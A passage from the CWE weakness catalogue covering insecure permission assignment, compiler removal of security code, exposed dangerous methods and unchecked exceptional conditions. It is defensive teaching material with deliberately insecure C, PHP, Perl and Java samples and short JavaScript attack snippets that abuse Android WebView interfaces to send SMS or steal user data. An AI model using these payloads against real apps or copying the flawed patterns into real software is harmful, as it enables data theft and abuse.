Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness = Moderate

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Implementation

Phase: Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness = High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness = High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Demonstrative Examples

Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

Example Language: C *(bad)*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Example Language: *(result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

Example Language: PHP *(bad)*

```
function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

Example Language: Perl *(bad)*

```
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

Example Language: *(result)*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

Example Language: *(result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

Example Language: Shell *(bad)*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Observed Examples

Reference	Description
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3482*
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3897*
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3489*
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3289*
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0115*
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1073*
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0141*
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0662*
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0322*
CVE-2009-3939	Driver installs a file with world-writable permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3939*
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3611*
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6033*
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5544*
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4868
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1714*
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0006*
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0969*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	844	1910
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	1991
MemberOf	C	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1133	1992
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO03-J		Create files with appropriate access permission
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011)	ENV03-J		Do not grant dangerous combinations of permissions
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
17	Using Malicious Files
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
122	Privilege Abuse
127	Directory Indexing
180	Exploiting Incorrectly Configured Access Control Security Levels
206	Signing Malicious Code
234	Hijacking a privileged process
642	Replace Binaries

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-594]Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". 2010 March 4. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response >.

[REF-199]NIST. "Federal Desktop Core Configuration". < http://nvd.nist.gov/fdcc/index.cfm >.

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID : 733 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1038	Insecure Automated Optimizations	1641
ParentOf	V	14	Compiler Removal of Code to Clear Buffers	14

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Compiled *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1685*
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010006*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	976	SFP Secondary Cluster: Compiler	888	1947

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call

CAPEC-ID	Attack Pattern Name
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
24	Filter Failure through Buffer Overflow
46	Overflow Variables and Tags

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-749: Exposed Dangerous Method or Function

Weakness ID : 749 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

1) The function/method was never intended to be exposed to outside actors.
2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	618	Exposed Unsafe ActiveX Method	1226
ParentOf	V	782	Exposed IOCTL with Insufficient Access Control	1451

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data	
Availability	Modify Application Data	
Access Control	Execute Unauthorized Code or Commands	
Other	Other	
	Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.	

Potential Mitigations

Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Demonstrative Examples

Example 1:

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

Example Language: Java *(bad)*

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

Example Language: Java *(good)*

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
```

```
    } catch (SQLException ex) {...}
    }
```

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Example Language: Java *(bad)*

```
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
```

```
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
    final class JavaScriptInterface {
        JavaScriptInterface () {}
        public String getUserInfo() {
            return currentUser.Info();
        }
    }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Example Language: JavaScript *(attack)*

```
<script>
    userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
    null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

Example 4:

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

Example Language: Java *(bad)*

```
final class JavaScriptInterface {
    JavaScriptInterface () { }
    @JavascriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

Example Language: JavaScript *(attack)*

```
<script>
    var info = window.userInfoObject.getUserInfo();
    sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

Observed Examples

Reference	Description
CVE-2007-6382	arbitrary Java code execution via exposed method *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6382*
CVE-2007-1112	security tool ActiveX control allows download or upload of files

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1112

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < https://msdn.microsoft.com/en-us/library/ms885903.aspx >.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer >.

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID : 754 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ParentOf	B	252	Unchecked Return Value	553
ParentOf	B	253	Incorrect Check of Function Return Value	560
ParentOf	B	273	Improper Check for Dropped Privileges	601
ParentOf	B	354	Improper Validation of Integrity Check Value	782
ParentOf	B	394	Unexpected Status Code or Return Value	856
ParentOf	B	476	NULL Pointer Dereference	1009

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	252	Unchecked Return Value	553
ParentOf	B	273	Improper Check for Dropped Privileges	601
ParentOf	B	476	NULL Pointer Dereference	1009

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart Unexpected State *The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness = High

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C *(bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

Example Language: C *(bad)*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following examples read a file into a byte array.

Example Language: C# *(bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

Example Language: Java *(bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java *(bad)*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java *(bad)*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java *(bad)*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C# *(bad)*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
